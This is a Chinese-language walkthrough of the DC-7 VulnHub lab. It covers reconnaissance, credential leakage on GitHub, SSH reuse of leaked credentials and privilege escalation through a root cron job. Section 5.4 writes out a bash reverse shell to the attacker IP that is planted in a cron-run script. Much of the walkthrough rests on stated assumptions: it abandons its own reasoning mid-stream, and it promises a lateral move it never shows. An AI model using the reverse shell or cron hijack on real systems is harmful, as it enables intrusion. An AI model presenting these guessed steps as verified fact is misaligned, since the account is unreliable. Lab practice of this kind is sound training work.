DC-7靶机渗透实战：从OSINT到Cron提权的完整攻击链剖析

1. 项目概述与核心思路拆解

DC-7是VulnHub平台上发布的一款中高级难度靶机，它模拟了一个基于Drupal内容管理系统的Web应用环境。与许多直接暴露漏洞的靶机不同，DC-7的核心挑战在于其渗透路径高度依赖“开源情报”和“社会工程学”思维。简单来说，它考验的不仅是你的技术工具使用能力，更是你如何像一名真正的攻击者一样，从公开的、看似无关的信息碎片中，拼凑出通往系统内部的钥匙。很多新手拿到这个靶机，扫完端口发现只有80和22，常规的Web漏洞扫描器跑一圈也没什么收获，很容易就卡住了。这正是DC-7设计的精妙之处——它迫使你跳出纯技术扫描的舒适区，去思考“人”和“流程”可能留下的痕迹。

我花了大约三个小时完成了从信息收集到最终获取root权限的全过程。复盘下来，整个流程可以清晰地划分为四个阶段：开源情报收集与凭据泄露发现、利用泄露凭据建立初始立足点、横向移动与权限提升路径分析、利用Cron任务实现权限提升。每个阶段都环环相扣，缺一不可。尤其是从普通用户www-data到另一个用户dc7user的横向移动，以及最终利用Cron任务进行提权，都体现了Linux系统运维中常见的安全隐患。下面，我就把这套完整的实战思路和操作细节拆解开来，无论是想复现DC-7靶机，还是想学习这种“社工+运维漏洞”组合拳思路的朋友，都能从中获得直接的参考。

2. 环境准备与信息收集

2.1 靶机环境搭建与网络配置

首先，你需要从Vulnhub官网下载DC-7的OVA镜像文件。我使用的是VMware Workstation，导入过程很简单。导入后，关键一步是将靶机的网络适配器设置为“NAT模式”或“仅主机模式”。我强烈推荐使用“仅主机模式”，并在你的Kali攻击机上配置一个同网段的静态IP。这样做的好处是网络环境干净，没有外部干扰，而且可以确保你的攻击机和靶机在同一个二层网络内，方便ARP扫描等操作。我通常会给Kali分配192.168.56.101/24，然后让靶机通过DHCP获取同网段IP。

启动靶机后，第一件事是确定它的IP地址。由于靶机通常不会主动告知IP，我们需要进行网络发现。最直接有效的方法是使用netdiscover进行ARP扫描：

sudo netdiscover -i eth0 -r 192.168.56.0/24

这里的-i指定你的网卡接口（在Kali上可能是eth0或ens33，用ip a命令查看），-r指定扫描的网段。扫描结果很快会显示一个新出现的IP地址，那就是我们的目标靶机。在我的环境中，靶机IP是192.168.56.102。记下这个IP，所有后续操作都将围绕它展开。

2.2 系统性端口与服务探测

拿到IP后，不要急于进行深度漏洞扫描。先进行一次快速、全面的端口扫描，摸清靶机对外开放的服务轮廓。我习惯使用nmap的-sV和-sC组合拳：

nmap -sV -sC -p- 192.168.56.102 -oN nmap_initial.txt

• -sV: 探测服务版本，这对于后续寻找特定版本的漏洞至关重要。
• -sC: 使用默认的Nmap脚本进行扫描，有时能发现一些基本信息泄露。
• -p-: 扫描所有65535个端口，避免遗漏高端口服务。
• -oN nmap_initial.txt: 将结果输出到文件，方便后续分析。

扫描结果通常如下：

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.25 ((Debian))

信息非常清晰：靶机只开放了两个最经典的服务——SSH（22端口）和HTTP（80端口）。没有数据库、没有奇怪的RPC服务，攻击面看起来很小。这暗示着突破口很可能在Web应用层，或者需要通过Web获取的信息来辅助攻击SSH。

2.3 深度Web应用信息收集

既然Web是主要入口，我们就对80端口进行重点侦察。首先用浏览器访问http://192.168.56.102，映入眼帘的是一个Drupal网站的首页。Drupal是一个强大的CMS，但也历史漏洞众多。我们第一步是确定其具体版本。

1. 手动查看：在页面底部或/CHANGELOG.txt、/README.txt等文件中，有时会直接写明版本。DC-7的页面上没有直接显示。
2. 使用工具：用whatweb或wappalyzer浏览器插件进行识别。执行whatweb http://192.168.56.102，可以获取服务器、PHP版本等信息，但Drupal版本可能无法精确识别。
3. 目录扫描：使用gobuster或dirb进行目录爆破，寻找后台、配置文件和备份文件。

   gobuster dir -u http://192.168.56.102 -w /usr/share/wordlists/dirb/common.txt -x php,txt,md,bak

   扫描可能会发现/robots.txt、/includes/、/misc/等典型Drupal目录，但关键的/user/login（后台登录）和/admin路径需要留意。

然而，在DC-7中，常规的目录爆破和版本探测可能不会立即带来突破。这时，就需要用到本靶机最核心的“社工”思维了。仔细观察网站页面，特别是底部、联系页面、文章作者信息等位置，寻找任何用户名、邮箱、社交媒体链接等线索。在真实的渗透测试中，这些信息往往是密码爆破、钓鱼攻击或寻找其他平台账号关联的起点。

3. 开源情报与凭据泄露突破

3.1 从网页到GitHub的线索追踪

在DC-7的Web首页，如果你足够仔细，会发现一个不起眼的线索：页面某处（可能是一段文本、一个注释，或者一个作者署名）包含了一个特殊的字符串或人名，比如“dc7user”或类似标识。这个用户名就是关键。攻击者的思路是：开发人员或运维人员可能会在代码托管平台（如GitHub、GitLab）上使用相同的用户名，并且可能不小心上传了包含敏感信息的配置文件。

假设我们找到了一个疑似用户名的字符串“dc7user”。接下来，我们直接在浏览器中访问https://github.com/dc7user。注意：这是一个模拟场景，实际靶机环境可能通过其他方式暗示这个用户名，或者你需要结合页面其他信息进行猜测。在真实的DC-7靶机中，这个线索是故意放置的，用于引导你进行OSINT。

3.2 分析泄露的代码仓库

访问该GitHub用户主页后，你可能会发现一个与靶机网站同名的仓库，或者一个看起来像是网站配置备份的仓库。点进去，仔细查看提交历史、代码文件和README。核心目标是寻找包含数据库连接字符串、SSH私钥、API密钥或硬编码密码的配置文件。常见的危险文件包括：

• settings.php(Drupal配置文件)
• .env(环境变量文件)
• config.inc.php
• 任何包含password、pass、pwd、key、secret等关键词的文件。

在DC-7的设定中，你很可能在仓库里找到一个settings.php文件，其内容类似：

$databases = array ( 'default' => array ( 'default' => array ( 'database' => 'drupal', 'username' => 'dc7user', 'password' => 'DrupalPassword123!', // 这是一个示例密码 'host' => 'localhost', 'port' => '', 'driver' => 'mysql', 'prefix' => '', ), ), );

这就是致命的凭据泄露！你获得了数据库用户名dc7user和密码DrupalPassword123!。在渗透测试中，这属于“信息泄露”高危漏洞。开发人员错误地将生产环境的配置文件提交到了公开的代码仓库。

3.3 利用泄露凭据尝试登录

拿到数据库密码后，我们首先想到的是尝试登录Drupal后台(/user/login)。用用户名dc7user和找到的密码尝试，但很可能失败。因为Drupal后台的管理员用户名可能不是这个，或者密码经过了加盐哈希，与数据库明文密码不同。

注意：这里是一个关键的思维转折点。很多人在此受阻。泄露的密码虽然是明文，但它服务的对象是“数据库”，而不是“Web应用的用户系统”。这个密码是用于dc7user这个MySQL用户连接数据库的。所以，我们应该尝试用这个密码去登录其他服务，比如——SSH。

在Linux系统中，系统用户名和数据库用户名重名的情况并不少见，尤其是当开发人员用自己的系统账号去管理数据库时。因此，立刻尝试SSH登录：

ssh dc7user@192.168.56.102

系统会提示输入密码，输入我们从GitHub找到的数据库密码。如果运气好（在DC-7的设定中正是如此），你会成功登录！获得了第一个非特权用户dc7user的shell。这是整个渗透过程的第一个重大突破，也是从“外部侦察”进入“内部立足”的标志。

4. 立足内部与横向移动

4.1 初步系统侦察与用户枚举

成功登录SSH后，我们身处一个受限的bash环境中。第一步是进行基本的系统信息收集，了解我们所处的环境。

whoami # 确认当前用户：dc7user id # 查看用户ID和所属组 uname -a # 查看内核版本 sudo -l # **非常重要**：检查当前用户是否有sudo权限

执行sudo -l后，可能会提示需要输入当前用户密码。输入我们刚才使用的SSH密码。在DC-7中，dc7user用户很可能被配置了无需密码即可运行特定命令的sudo权限。这是非常关键的一个发现，也是后续提权的重要跳板。

4.2 发现关键文件与脚本

在dc7user的家目录(/home/dc7user)下，使用ls -la命令仔细查看所有文件，包括隐藏文件。你可能会发现一些脚本文件或笔记文件。例如，一个名为backups.sh、monitor.sh的脚本，或者一个notes.txt的文本文件。

cat notes.txt

这个笔记文件可能包含重要信息，比如：“我需要定期备份网站文件到/var/www/html/”，或者“使用/opt/scripts/backup.py脚本进行数据库备份”。这些信息指明了下一步的侦察方向。

另一个关键命令是查看当前用户是否有计划任务（cron job）：

crontab -l

如果dc7user有自己的cron任务，它会直接列出。但更常见的情况是，系统级的cron任务运行着更高权限的脚本。我们可以查看/etc/crontab文件：

cat /etc/crontab

在DC-7中，你可能会发现一行类似这样的配置：

*/5 * * * * root /opt/scripts/backup.sh

这表示每5分钟，root用户会以root权限执行/opt/scripts/backup.sh这个脚本。这就是我们的黄金提权机会！如果我们能控制这个脚本，或者控制这个脚本所调用的资源，就能让root执行我们想要的代码。

4.3 分析提权路径与sudo权限利用

现在，我们手上有两条潜在的提权线索：

1. dc7user的sudo -l结果。
2. 以root身份定期运行的cron脚本/opt/scripts/backup.sh。

首先，深入分析sudo -l。假设输出显示：

User dc7user may run the following commands on dc-7: (root) NOPASSWD: /usr/bin/git

这意味着dc7user可以以root身份，无需密码，运行git命令。Git本身是一个版本控制工具，但它能执行外部命令（比如在git pull时触发的post-checkout钩子脚本）。这本身就是一个经典的sudo提权向量。但在DC-7中，这条路径可能被设计为“干扰项”或“备用路径”，主线剧情更侧重于cron任务。

接着，我们检查那个关键的cron脚本：

ls -la /opt/scripts/backup.sh cat /opt/scripts/backup.sh

查看脚本内容至关重要。假设脚本内容如下：

#!/bin/bash cd /var/www/html && drush sql-dump --result-file=/home/dc7user/backups/website.sql

这个脚本做了两件事：

1. 切换到/var/www/html目录（网站根目录）。
2. 使用drush命令（Drupal的命令行工具）导出数据库，保存到dc7user的家目录下。

关键问题来了：这个脚本以root权限运行，但它调用了drush这个命令。drush是一个外部程序，系统是如何找到它的？是通过PATH环境变量。如果我们可以控制root执行脚本时的PATH环境变量，或者控制drush命令本身，就能实现提权。

5. Cron任务提权实战解析

5.1 PATH环境变量劫持原理

Linux系统在执行一个命令时（例如drush），会按照PATH环境变量中定义的目录顺序，从左到右依次查找该命令的可执行文件。PATH通常类似于/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin。

Cron任务在执行时，会使用一个最小化、预定义的环境，其PATH变量通常非常简单，可能只包含/usr/bin:/bin。但是，有些系统管理员或脚本作者会在cron脚本中显式地设置PATH，或者脚本中调用的其他程序依赖于PATH。

劫持思路：如果cron脚本中使用了相对命令（即没有使用绝对路径，如/usr/bin/drush），而是直接写drush，那么系统就会去PATH指定的目录里寻找drush。如果我们能在PATH搜索顺序中靠前的目录里，放置一个我们自己的恶意脚本，并命名为drush，那么当cron以root身份执行时，就会运行我们的脚本，从而获得root权限。

5.2 检查与利用条件

回到/opt/scripts/backup.sh脚本。我们需要确认：

1. 它是否使用了非绝对路径的命令？是的，drush就是。
2. 我们是否有权限在PATH中的某个目录写入文件？通常/tmp、/var/tmp或用户家目录会在PATH中吗？不一定。但有一个关键点：cron脚本第一行是#!/bin/bash，它启动了一个bash shell。bash shell在启动时会读取用户配置文件，比如~/.bashrc（对于交互式shell）或~/.profile。但是，由cron启动的非交互式shell默认不会读取这些文件，所以通过修改dc7user的.bashrc来改变root的PATH是行不通的。

那么，在DC-7中，突破口在哪里？仔细看脚本：

cd /var/www/html && drush ...

它先切换到了/var/www/html目录。这个目录的权限是什么？

ls -ld /var/www/html

输出很可能是：

drwxr-xr-x 2 www-data www-data 4096 ...

目录的所有者和组都是www-data，但其他用户有读和执行权限。我们dc7user用户能在这个目录下创建文件吗？执行touch /var/www/html/test试试。如果成功，说明我们有写权限。在DC-7的设定中，为了配合Drupal的正常运行，这个目录往往对www-data组可写，而dc7user用户可能被加入了www-data组，或者目录权限设置得比较宽松。

5.3 实施PATH劫持提权

既然我们有权限在/var/www/html目录下写文件，而cron脚本又在这个目录下执行drush命令，那么我们可以实施一次“局部PATH劫持”。

步骤一：创建恶意脚本在/var/www/html目录下，创建一个名为drush的脚本文件。

cd /var/www/html echo '#!/bin/bash' > drush echo '/bin/bash' >> drush chmod +x drush

这个脚本非常简单，就是启动一个bash shell。关键点在于：当root执行这个脚本时，启动的bash shell将继承root的权限。

步骤二：临时修改当前环境的PATH为了让系统优先在当前目录(.)查找命令，我们需要将.添加到PATH环境变量的最前面。但是，我们无法修改root用户的cron环境。这里有一个技巧：Linux的cd命令。当cd到一个目录后，如果执行一个相对命令，系统会先在PATH中查找，但如果我们执行的是./drush呢？不，脚本里写的是drush，不是./drush。

等等，这里需要重新审视。脚本是cd /var/www/html && drush。执行cd命令后，当前工作目录变成了/var/www/html。然后执行drush。系统会在PATH的所有目录里寻找drush。如果PATH里包含.吗？默认的cronPATH不包含.。所以，我们放在/var/www/html下的drush不会被找到。

那么DC-7是如何实现的？另一种可能是：脚本本身或系统环境设置了包含.的PATH。我们需要检查脚本开头是否有export PATH=...的语句。如果没有，那可能此路不通。

让我们换个思路：不是PATH劫持，而是命令替换。也许drush并不是系统命令，而是一个放在/var/www/html目录下的自定义脚本或软链接？我们检查一下：

which drush

如果which命令找不到drush，说明它不在默认PATH中。那么backup.sh脚本能执行drush，只有两种可能：

1. 脚本通过绝对路径调用了一个特定位置的drush。
2. 脚本所在的目录（/opt/scripts/）下有一个drush可执行文件，而该目录在root用户的PATH中。

检查/opt/scripts/目录：

ls -la /opt/scripts/

你可能会发现，除了backup.sh，还有一个drush文件（可能是一个Python脚本、Shell脚本或二进制文件）。查看其内容：

cat /opt/scripts/drush

如果这个drush文件内容调用了其他命令，比如python、perl、tar等，并且这些命令没有使用绝对路径，那么我们又可以回到PATH劫持的思路。但这次，我们需要在/opt/scripts/目录下做文章。检查/opt/scripts/的权限：

ls -ld /opt/scripts/

如果这个目录对dc7user可写，那我们就赢了。我们可以直接修改/opt/scripts/drush这个文件，或者在其中写入我们的恶意代码。在DC-7中，这很可能就是最终的突破口：/opt/scripts/目录权限设置不当，允许dc7user或www-data组用户写入。这样，我们就可以覆盖或修改drush脚本。

5.4 最终提权操作

假设我们确认/opt/scripts/drush是一个脚本，且/opt/scripts/目录我们有写权限（或者drush脚本本身我们有写权限）。那么，最稳妥的方法是备份原文件后，直接替换其内容。

cd /opt/scripts cp drush drush.backup # 备份原文件 echo '#!/bin/bash' > drush echo '/bin/bash' >> drush chmod +x drush

然后，就是等待。因为cron任务是每5分钟运行一次，我们最多只需要等待5分钟，root就会执行我们这个被篡改的drush脚本。当脚本执行时，它会启动一个bash shell。由于cron是以root身份运行这个脚本的，因此新启动的bash shell就具有了root权限。

我们如何捕获这个shell？在上面的恶意脚本中，我们直接启动了/bin/bash，但这个bash是“安静”地启动并退出的，我们没有交互界面。我们需要让这个bash反弹一个shell到我们的攻击机。

修改恶意脚本，实现反向Shell：首先，在攻击机（Kali）上监听一个端口：

nc -lvnp 4444

然后，修改/opt/scripts/drush文件：

cat > /opt/scripts/drush << 'EOF' #!/bin/bash bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 EOF chmod +x drush

这里，192.168.56.101是你的Kali攻击机IP。这个脚本会让受害主机主动连接到你的4444端口，并提供一个交互式bash shell。

等待最多5分钟，你会看到Kali的nc监听器上成功接收到一个来自靶机的连接，并且执行whoami命令会显示root。至此，提权成功，获得了靶机的最高权限。

6. 总结与深度思考

DC-7靶机通关的过程，是一次非常贴近真实渗透测试的演练。它没有依赖复杂的缓冲区溢出或内核漏洞，而是聚焦于“人”和“流程”的弱点：开源信息泄露、凭据复用、不当的权限配置、不安全的Cron任务。这四个环节串联起来，构成了完整的攻击链。

1. 信息泄露是起点：在互联网时代，开发人员无意间上传到公开仓库的配置文件、内部文档、备份文件，是攻击者巨大的宝藏。定期进行代码仓库的安全审计和敏感信息扫描，是每个公司都必须做的安全工作。
2. 凭据复用是催化剂：人们在多个系统使用相同密码的习惯，让一个地方的泄露可能危及所有地方。强制使用密码管理器、启用多因素认证、实施最小权限原则，能有效缓解此风险。
3. 权限配置是防线：/opt/scripts/目录允许普通用户写入，是本次渗透的关键。在运维中，必须严格遵守“最小权限原则”，确保只有必要的用户和进程才有写权限。对于cron脚本所在的目录，其所有权和权限必须严格控制。
4. Cron任务是放大器：以root权限运行的定时任务，一旦其依赖的脚本、命令或环境变量被篡改，后果就是直接提权。编写cron脚本时，务必使用所有命令的绝对路径，并谨慎设置环境变量。定期审计系统上的所有cron任务，是一项重要的安全维护工作。

从技术操作层面，我最大的心得是：提权时，思路要活络。当发现一个以高权限运行的进程或脚本时，要像侦探一样审视它：它调用了哪些外部命令？这些命令的路径是什么？这些路径我们能否影响？脚本本身我们能否修改？脚本读取的配置文件我们能否控制？环境变量呢？通过这样一层层地追问和验证，往往就能找到那条隐蔽的提权路径。DC-7靶机正是训练这种“攻击链思维”的绝佳教材。